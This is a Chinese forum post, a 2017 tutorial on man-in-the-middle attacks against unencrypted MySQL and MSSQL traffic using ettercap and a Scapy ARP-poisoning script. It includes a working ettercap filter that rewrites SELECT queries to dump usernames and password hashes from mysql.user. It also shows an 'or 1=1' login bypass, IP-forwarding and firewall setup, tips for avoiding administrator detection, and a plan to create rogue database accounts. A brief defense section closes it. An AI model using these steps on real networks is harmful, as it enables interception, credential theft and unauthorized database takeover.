本帖最后由 evi1ox 于 2017-5-31 14:34 编辑
ettercap之mysql中间人攻击[一]
0x01 工具系统:kali linux
数据库:mysql | mssql
中间人:ettercap 0x02 起因执行select @@version; 用wireshark抓包截取明文 获取结果: (客户端登陆的请求可不止有http,所以如果能抓数据连接包,比抓http的简单粗暴多了。)
不过我们这里说的是如何对查询语句进行注入修改 0x03 创建ettercap脚本ettercap默认的提供的例子不再多说
根据脚本把所需的替换成我们想要的,打开vim,写入 :wq保存 1
2
3
4
5
6
7
8
9
10
| if (ip.proto == TCP && tcp.dst == 3306){
msg("find sql query start inject");
if (search(DATA.data,"select")){
msg("find select query");
replace("select","select host, user, password FROM mysql.user#");
msg("inject over!");
}
}
r
|
使用etterfilter对我们之前创建的脚本进行编译 0x04 start attack使用ettercat ,加载编译好的脚本,然后打开Natvicat连接kali同网段虚拟机,执行select @@version; 渗透测试:
进入内网,发现内网一些管理系统,你想进去后台看看却进不去怎么办呢?开着Cain抓管理员的密码?渗透那个管理系统所在的服务器?对于前者,管理员可能不上,而渗透又需要时间。此时我们就可以利用中间人攻击hack掉执行的sql语句。
假设登陆的语句为:select * from user_table where username = ‘admin’ and password = ‘123456’在后面加上 or 1=1 ……..
修改脚本 0x05 Tips注意点 必须开启端口转发 echo 1 > /proc/sys/net/ipv4/ip_forward
Natvicat 连接不上可能是防火墙的问题。笔者默认关闭了windows防火墙以及kali开启相关策略
1
2
| iptables -A INPUT -p tcp --dport 3306 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 3306 -j ACCEPT
|
kali双网卡最好禁用一个
现实场景 并不是所有的内网都能进行中间人攻击。
Arp动静太大可能会被管理员发现或者被某些设备监测、拦截。
需要安装ettercap或者其他arp劫持工具(然后你就会遇到很多坑的问题了,权限,网卡..)笔者亲测开启转发后防火墙关闭电脑各种报错
需要知道劫持的数据库服务器的IP(当然,你可以全部都劫持。。)
实际在Natvicat测试时,执行的sql语句必须比脚本里的长度要更长。所以如果低于这个长度,会报错
ettercap之mysql中间人攻击[二]
Interface 需要监听的网络接口
SQL Server Type 指定数据库类型
Client IP 发送查询的SQL客户端的IP地址 (笔者是kali)
Server IP SQL服务器的IP地址。这两个IP地址选项允许脚本执行ARP中毒。这意味着脚本可以自己启动MITM攻击,而不需要像Ettercap这样的外部工具。
New Query 新的SQL查询。输入新的恶意SQL字符串,可以被注入。 可选参数–begin_keyword 脚本搜索的第一个关键字。
–end_keyword 脚本搜索的最终关键字
tips:关键字可以让您识别SQL查询,而无需提前了解整个查询。例如,begin_keyword的默认值为“SELECT”,end_keyword的默认值为分号。这将符合以下所有示例: 1
2
3
4
5
| SELECT * FROM users WHERE userid = 1;
SELECT * FROM products;
SELECT username FROM users WHERE name = 'admin';
| 依赖scapy人生苦短,多用python,所依赖的操作库Scapy。Scapy内置了许多协议的支持,在这种情况下,重要的是TCP和ARP。它可以用作独立的数据包操作程序,也可以用作其他项目的库。
1
2
| pip install pcapy | 或者 easy_install pcapy
pip install scapy | easy_install scapy
|
ARP中毒1.第一步是arp欺骗,让服务端识别你的主机(kali)为客户端,反之亦然。使用方法只需要输入客户端和服务端的ip地址。然后调用arp_spoof()函数,构建正确的ARP数据包来欺骗服务器缓存。每15秒钟调用一次arp_spoof()函数。这样可以确保攻击的持久化。 2.scapy sniff()函数用于监听数据包。该函数将嗅探所有传入的数据包一直循环下去,直到攻击者按ctrl + c退出程序。每次在检测到数据包时,sniff()函数使用过滤器来识别数据包是否用于SQL服务器或客户端IP地址。如果没有,则忽略该数据包。如果是这样,则将数据包数据发送到processPacket()函数。 数据包处理脚本将根据攻击者选择的SQL数据库分别处理数据包数据。会自动搜索数据包中匹配的开始和结束关键字。如果没有找到,就把数据包发送。如果找到匹配项,就把原始SQL查询的长度与新查询的语句进行比较。如果新的查询语句更长,则脚本会发出错误,并将原始数据包转发到未更改的数据。详情了解TCP的工作原理。更改的数据包必须与原始数据包完全相同的长度,否则会中断TCP连接并导致其重置。结果是原始查询的语句的时间越长,(恶意)替换查询的选项越多。 如果新的查询语句比原来的查询语句短,一切正常。可以使用命令参数–end_keyword,把构造好的语句填充添加到末尾,以确保数据包保持相同的长度。然后将编辑的数据包转发到服务器。 重置arp攻击结束时,按ctrl + c退出程序。脚本会自动检测,在退出之前调用undo_arp_spoof()函数。来重置ARP缓存,这样服务器就能重新正常接收流量。没有这最后一步,客户端和服务器就会出现网络问题,并且可以更容易地检测攻击。会被管理员所察觉。 Mssql Attack首先创建一个数据库并添加一些内容,如下图 http://oq4ris5sp.bkt.clouddn.com/SQLmitm2.png Mysql Attack和mssql一样。创建个简单的数据库 Oracle Attack我们先查看数据库 同理 Postgresql也是一样的。 继续深入以上都是一些简单的查询语句,那么这样怎么运用到实际的内网里呢??一条命令一条命令攻击。而且多条命令执行错误也会让管理员起疑心吧。是否可以创建mysql账户。那我们直接管理数据库。
首先我们创建数据库用户。
防护一、这个脚本仅限于没有加密的数据连接,这样的话可以使用无效证书中断加密。因此,避免SQL MITM攻击的最简单方法是要求对所有SQL流量和证书验证进行加密。
二、要始终遵循最低特权原则。远程帐户应仅限于访问。管理员必须做一些非常严格的控制
|